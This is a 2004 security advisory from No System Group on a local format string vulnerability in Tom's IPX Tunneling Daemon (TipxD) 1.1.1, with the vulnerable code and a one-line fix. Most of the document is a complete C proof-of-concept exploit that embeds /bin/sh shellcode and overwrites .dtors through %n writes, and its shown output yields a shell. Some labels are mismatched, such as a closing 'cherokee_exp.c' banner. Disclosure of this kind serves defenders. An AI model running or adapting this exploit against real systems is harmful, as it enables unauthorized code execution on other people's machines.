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No System Group - Advisory #03 - 15/11/04
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Program:  Tom's IPX Tunneling Daemon - TipxD
Homepage:  http://tipxd.sourceforge.net
Vulnerable Versions: TipxD 1.1.1 and prior
Risk: Low
Impact: Local Format String Vulnerability
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- DESCRIPTION
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tipxd is an IPX tunneling daemon which snoops on 
a local network for IPX 802.3 traffic, packages 
it and sends it over one or many TCP/IP connections 
to tipxd running on remote machines where it is 
unpacked and sent via the local network. To the 
IPX networks, it then appears that the LANs are 
joined. This is a request for testing and big-finding. 
It is intended for playing IPX based games where 
the remote machines are joined only by a TCP/IP 
network, and typically when the the gaming machines 
are each behind a firewall.

More informations at: http://tipxd.sourceforge.net


- DETAILS
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tipxd is affected by a format string bug in the
tipxd_log() function to 61 lines of src/log.c code:

--- log.c ---
45: void tipxd_log(int priority, char *format, ...  )
46: {
47:    va_list ap;
48:    char log_entry[LOG_ENTRY_SIZE];
49: 
50:    /* Take the format and variables and expand them out into a string,
51:       so that we can pass it on to syslog if necessary. No buffer overflow,
52:       aren't I good? :)
53:    */
54:    va_start(ap,format);
55:    vsnprintf(log_entry,LOG_ENTRY_SIZE-1,format,ap);
56: 
57:    if (sysinfo.opt_flags & OPT_STDERR) {
58: /* To do: add something useful like timestamping instead of silly pre-identifie
59:        fprintf(stderr,"[TIPXD LOG] %s\n",log_entry);
60:    } else {
61:        syslog(priority,log_entry); // The format bug
62:    }
63:
64:    return;
65: }
--- log.c ---

We can show some parts of the stack memory by using a format string loke
this:

coki@servidor:~$ tipxd -C AAAA%08x
Unable to open configuration file : No such file or directory

coki@servidor:~$ tail -n 1 /var/log/messages
Nov 15 11:03:40 servidor tipxd[8360]: Config file is AAAA0804c8d7
coki@servidor:~$ 


- EXPLOIT
-------------------------------------------------

------------------ tipxd_exp.c ------------------
/* tipxd_exp.c
   
   TipxD Format String Vulnerability
   
   TipxD <= 1.1.1 local exploit (Proof of Concept)
   
   Tested in Slackware 9.0 / 9.1 / 10.0
     
   by CoKi <coki@nosystem.com.ar>
   No System Group - http://www.nosystem.com.ar
*/

#include <stdio.h>
#include <string.h>

#define PATH "/bin/tipxd"
#define OBJDUMP "/usr/bin/objdump"
#define GREP "/usr/bin/grep"

unsigned char shellcode[]=  /* aleph1 shellcode.45b */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
  "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
  "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e"
  "\x2f\x73\x68";

int check(unsigned long addr);

int main(int argc, char *argv[]) {

  int i, dtorsaddr;
  unsigned int bal1, bal2, bal3, bal4;
  char temp[512];
  char buffer[1024];
  char nop1[255], nop2[255];
  char nop3[255], nop4[255];
  int cn1, cn2, cn3, cn4;
  FILE *f;
  char *env[3] = {shellcode, NULL};
  int shaddr = 0xbffffffa - strlen(shellcode) - strlen(PATH);

  /* finding .dtors address */
  sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP);
  f = popen(temp, "r");
  if(fscanf(f, " %08x", &dtorsaddr) != 1) {
    pclose(f);
    printf("Cannot find .dtors address\n");
    exit(1);
  }
  pclose(f);
  dtorsaddr = dtorsaddr + 4;

  printf("\n TipxD <= 1.1.1 local exploit (Proof of Concept)\n");
  printf(" by CoKi <coki@nosystem.com.ar>\n\n");
  printf(" shellcode address = %.8p\n", shaddr);
  printf(" .dtors address    = %.8p\n\n", dtorsaddr);

  bzero(temp, sizeof(temp));
  bzero(buffer, sizeof(buffer));

  strcat(buffer, "x");

  /* adding .dtors address */
  for(i = 0; i < 4; i++) {
    bzero(temp, sizeof(temp));
    sprintf(temp, "%s", &dtorsaddr);
    strncat(buffer, temp, 4);
    dtorsaddr++;
  }

  /* convert shellcode address location */
  memset(nop1, 0, 255);
  memset(nop2, 0, 255);
  memset(nop3, 0, 255);
  memset(nop4, 0, 255);

  bal1 = (shaddr & 0xff000000) >> 24;
  bal2 = (shaddr & 0x00ff0000) >> 16;
  bal3 = (shaddr & 0x0000ff00) >>  8;
  bal4 = (shaddr & 0x000000ff);

  cn1 = bal4 - 16 - 15 - 48 - 2 -1;
  cn1 = check(cn1);
  cn2 = bal3 - bal4 - 2;
  cn2 = check(cn2);
  cn3 = bal2 - bal3 - 2;
  cn3 = check(cn3);
  cn4 = bal1 - bal2 - 2;
  cn4 = check(cn4);

  memset(nop1, '\x90', cn1);
  memset(nop2, '\x90', cn2);
  memset(nop3, '\x90', cn3);
  memset(nop4, '\x90', cn4);

  sprintf(temp, "%%08x%%08x%%08x%%08x%%08x%%08x"
                "%s\xeb\x02%%n"
                "%s\xeb\x02%%n"
                "%s\xeb\x02%%n"
                "%s\xeb\x02%%n\x90\x90\x90\x90"
                ,nop1, nop2, nop3, nop4);

  strcat(buffer, temp);

  execle(PATH, "tipxd", "-f", buffer, NULL, env);
}

int check(unsigned long addr) {
  char tmp[128];
  snprintf(tmp, sizeof(tmp), "%d", addr);
  if(atoi(tmp) < 1)
    addr = addr + 256;

  return addr;
}

---------------- cherokee_exp.c -----------------

coki@servidor:~$ make tipxd_exp
coki@servidor:~$ ./tipxd_exp

 tipxd local exploit (Proof of Concept)
 by CoKi <coki@nosystem.com.ar>

 shellcode address = 0xbfffffa7
 .dtors address    = 0x0804fbe0

Unable to open configuration file : File name too long

sh-2.05b$

This exploit does not give a root shell :(


- SOLUTIONS
-------------------------------------------------
Change the tipxd_log() function of src/log.c code:

--- log.c ---
45: void tipxd_log(int priority, char *format, ...  )
46: {
47:    va_list ap;
48:    char log_entry[LOG_ENTRY_SIZE];
49: 
50:    /* Take the format and variables and expand them out into a string,
51:       so that we can pass it on to syslog if necessary. No buffer overflow,
52:       aren't I good? :)
53:    */
54:    va_start(ap,format);
55:    vsnprintf(log_entry,LOG_ENTRY_SIZE-1,format,ap);
56: 
57:    if (sysinfo.opt_flags & OPT_STDERR) {
58: /* To do: add something useful like timestamping instead of silly pre-identifie
59:        fprintf(stderr,"[TIPXD LOG] %s\n",log_entry);
60:    } else {
61:        syslog(priority,"%s",log_entry); // The fix
62:    }
63:
64:    return;
65: }
--- log.c ---


- REFERENCES
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http://www.nosystem.com.ar/advisories/advisory-08.txt


- CREDITS
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Discovered by CoKi <coki@nosystem.com.ar>

No System Group - http://www.nosystem.com.ar